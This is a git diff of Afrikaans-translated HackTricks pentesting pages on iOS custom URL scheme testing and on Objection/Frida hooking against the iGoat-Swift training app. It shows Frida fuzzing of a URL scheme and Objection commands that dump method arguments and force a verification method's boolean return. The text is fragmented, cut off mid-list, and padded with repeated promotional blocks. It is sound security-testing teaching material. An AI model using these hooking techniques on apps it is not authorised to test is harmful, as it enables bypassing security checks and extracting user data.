<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Hierdie is 'n opsomming van die verwante inligting vanaf [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
Dit is 'n opsomming van die verwante inligting van [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Aangepaste URL-skemas stel programme in staat om te kommunikeer deur middel van 'n aangepaste protokol, soos beskryf in die [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Hierdie skemas moet deur die toepassing verklaar word, wat dan inkomende URL's volgens daardie skemas hanteer. Dit is noodsaaklik om **alle URL-parameters te valideer** en **enige verkeerd geformuleerde URL's te verwerp** om aanvalle deur hierdie vektor te voorkom.
|
||||
Pasgemaakte URL skemas stel toepassings in staat om te kommunikeer met 'n pasgemaakte protokol, soos in die [Apple Ontwikkelaar Dokumentasie](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) uiteengesit. Hierdie skemas moet deur die toepassing verklaar word, wat dan inkomende URL's volgens daardie skemas hanteer. Dit is van kardinale belang om **alle URL parameters te valideer** en **enige verkeerd gevormde URL's te verwerp** om aanvalle deur hierdie vektor te voorkom.
|
||||
|
||||
'n Voorbeeld word gegee waar die URI `myapp://hostname?data=123876123` 'n spesifieke toepassingsaksie aanroep. 'n Opmerklike kwesbaarheid was in die Skype Mobile-toep, wat ongemagtigde oproepaksies via die `skype://`-protokol toegelaat het. Die geregistreerde skemas kan gevind word in die toep se `Info.plist` onder `CFBundleURLTypes`. Kwaadwillige toepassings kan hiervan misbruik maak deur URI's te herregistreer om sensitiewe inligting te onderskep.
|
||||
'n Voorbeeld word gegee waar die URI `myapp://hostname?data=123876123` 'n spesifieke toepassingsaksie aanroep. 'n Genoemde kwesbaarheid was in die Skype Mobile toepassing, wat nie-toegestane oproepaksies via die `skype://` protokol toegelaat het. Die geregistreerde skemas kan in die toepassing se `Info.plist` onder `CFBundleURLTypes` gevind word. Kwaadwillige toepassings kan dit benut deur URI's weer te registreer om sensitiewe inligting te onderskep.
|
||||
|
||||
### Registrasie van Toepassingsnavraagskemas
|
||||
### Aansoek Navraag Skemas Registrasie
|
||||
|
||||
Vanaf iOS 9.0, om te kontroleer of 'n toepassing beskikbaar is, vereis `canOpenURL:` dat URL-skemas verklaar word in die `Info.plist` onder `LSApplicationQueriesSchemes`. Dit beperk die skemas wat 'n toepassing kan ondersoek tot 50, wat privaatheid verbeter deur toepassingsopnoeming te voorkom.
|
||||
Vanaf iOS 9.0, om te kontroleer of 'n toepassing beskikbaar is, vereis `canOpenURL:` dat URL skemas in die `Info.plist` onder `LSApplicationQueriesSchemes` verklaar word. Dit beperk die skemas wat 'n toepassing kan navraag doen tot 50, wat privaatheid verbeter deur toepassingse enumerasie te voorkom.
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
|
@ -30,9 +31,9 @@ Vanaf iOS 9.0, om te kontroleer of 'n toepassing beskikbaar is, vereis `canOpenU
|
|||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
### Toetsing van URL-hantering en validering
|
||||
### Toetsing van URL-hantering en -validasie
|
||||
|
||||
Ontwikkelaars moet spesifieke metodes in die bronkode ondersoek om URL-padkonstruksie en validering te verstaan, soos `application:didFinishLaunchingWithOptions:` en `application:openURL:options:`. Byvoorbeeld, Telegram maak gebruik van verskeie metodes om URL's te open:
|
||||
Ontwikkelaars moet spesifieke metodes in die bronkode ondersoek om URL-padkonstruksie en -validasie te verstaan, soos `application:didFinishLaunchingWithOptions:` en `application:openURL:options:`. Byvoorbeeld, Telegram gebruik verskeie metodes om URL's te open:
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
|
@ -56,17 +57,17 @@ self.openUrl(url: url)
|
|||
return true
|
||||
}
|
||||
```
|
||||
### Toetsing van URL-aanvragen aan andere apps
|
||||
### Toetsing van URL-versoeke na Ander Apps
|
||||
|
||||
Metodes soos `openURL:options:completionHandler:` is noodsaaklik vir die oopmaak van URL's om met ander apps te kommunikeer. Die identifisering van die gebruik van sulke metodes in die bronkode van die app is sleutel tot die verstaan van eksterne kommunikasie.
|
||||
Metodes soos `openURL:options:completionHandler:` is van kardinale belang om URL's te open om met ander apps te kommunikeer. Die identifisering van die gebruik van sulke metodes in die app se bronne kode is sleutels tot die begrip van eksterne kommunikasie.
|
||||
|
||||
### Toetsing vir verouderde metodes
|
||||
### Toetsing vir Verouderde Metodes
|
||||
|
||||
Verouderde metodes wat URL-oopmakings hanteer, soos `application:handleOpenURL:` en `openURL:`, moet geïdentifiseer en nagegaan word vir sekuriteitsimplikasies.
|
||||
Verouderde metodes wat URL-opening hanteer, soos `application:handleOpenURL:` en `openURL:`, moet geïdentifiseer en hersien word vir sekuriteitsimplikasies.
|
||||
|
||||
### Fuzzing van URL-skemas
|
||||
### Fuzzing URL Skemas
|
||||
|
||||
Fuzzing van URL-skemas kan geheueversteuringsfoute identifiseer. Hulpmiddels soos [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) kan hierdie proses outomatiseer deur URL's met verskillende ladinge oop te maak om te monitor vir ongelukke, soos geïllustreer deur die manipulasie van URL's in die iGoat-Swift-app:
|
||||
Fuzzing URL skemas kan geheue korrupsie foute identifiseer. Gereedskap soos [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) kan hierdie proses outomatiseer deur URL's met verskillende payloads te open om vir crashes te monitor, soos geïllustreer deur die manipulasie van URL's in die iGoat-Swift app:
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
|||
## Verwysings
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Vir hierdie gedeelte gaan die instrument [**Objection**](https://github.com/sensepost/objection) gebruik word.\
|
||||
Begin deur 'n Objection-sessie te kry deur iets soos die volgende uit te voer:
|
||||
Vir hierdie afdeling gaan die hulpmiddel [**Objection**](https://github.com/sensepost/objection) gebruik word.\
|
||||
Begin deur 'n objection se sessie te verkry deur iets soos te voer:
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
Jy kan ook `frida-ps -Uia` uitvoer om die lopende prosesse van die foon te kontroleer.
|
||||
You can execute also `frida-ps -Uia` to check the running processes of the phone.
|
||||
|
||||
# Basiese Opname van die app
|
||||
# Basiese Enumerasie van die app
|
||||
|
||||
## Plaaslike App Paaie
|
||||
|
||||
* `env`: Vind die paaie waar die toepassing binne die toestel gestoor word
|
||||
* `env`: Vind die paaie waar die toepassing binne die toestel gestoor is
|
||||
|
||||
```bash
|
||||
env
|
||||
|
@ -76,7 +77,7 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
|
|||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||
[..]
|
||||
```
|
||||
* `memory list modules`: Lys gelaai modules in die geheue
|
||||
* `memory list modules`: Lys gelaaide modules in geheue
|
||||
|
||||
```bash
|
||||
memory list modules
|
||||
|
@ -92,7 +93,7 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
|
|||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||
[...]
|
||||
```
|
||||
* `memory list exports <module_name>`: Uitvoere van 'n gelaai module
|
||||
* `memory list exports <module_name>`: Eksporte van 'n gelaaide module
|
||||
|
||||
```bash
|
||||
memory list exports iGoat-Swift
|
||||
|
@ -115,6 +116,7 @@ variable _ZTVN9couchbase6differ10BaseDifferE
|
|||
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||
[..]
|
||||
```
|
||||
|
||||
## Lys klasse van 'n APP
|
||||
|
||||
* `ios hooking list classes`: Lys klasse van die app
|
||||
|
@ -135,7 +137,7 @@ AAAppleTVRequest
|
|||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <search_term>`: Soek 'n klas wat 'n string bevat. Jy kan **soek na 'n unieke term wat verband hou met die hoof app-pakket** naam om die hoofklasse van die app te vind, soos in die voorbeeld:
|
||||
* `ios hooking search classes <search_term>`: Soek 'n klas wat 'n string bevat. Jy kan **soek na 'n unieke term wat verband hou met die hoof app pakket** naam om die hoof klasse van die app te vind soos in die voorbeeld:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
|
@ -188,33 +190,33 @@ ios hooking search methods cvv
|
|||
|
||||
# Basiese Hooking
|
||||
|
||||
Nou dat jy die klasse en modules wat deur die toepassing gebruik word, **opgesom** het, het jy dalk 'n paar **interessante klas- en metodenamen** gevind.
|
||||
Nou dat jy **die klasse en modules** wat deur die toepassing gebruik word, geenumerate het, het jy dalk 'n paar **interessante klas en metode name** gevind.
|
||||
|
||||
## Haak alle metodes van 'n klas
|
||||
## Hook alle metodes van 'n klas
|
||||
|
||||
* `ios hooking watch class <class_name>`: Haak al die metodes van 'n klas, dump al die aanvanklike parameters en terugvoer
|
||||
* `ios hooking watch class <class_name>`: Hook al die metodes van 'n klas, dump al die aanvanklike parameters en terugkeerwaardes
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## Haak 'n enkele metode
|
||||
## Hook 'n enkele metode
|
||||
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Haak 'n spesifieke metode van 'n klas deur die parameters, terugvoer en terugvoer van die metode elke keer wat dit geroep word, te dump
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook 'n spesifieke metode van 'n klas wat die parameters, terugtraces en terugkeerwaardes van die metode dump elke keer dit aangeroep word
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
|
||||
## Verander Booleaanse Terugvoer
|
||||
## Verander Boolean Terugkeer
|
||||
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Dit sal die geselekteerde metode laat terugkeer na die aangeduide booleaanse waarde
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Dit sal maak dat die geselekteerde metode die aangeduide boolean teruggee
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
```
|
||||
|
||||
## Genereer haak sjabloon
|
||||
## Genereer hooking sjabloon
|
||||
|
||||
* `ios hooking generate simple <class_name>`:
|
||||
|
||||
|
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
|
|||
```
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,36 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# WebView-protokolhanteraars
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# WebView Protokol Hanteerders
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
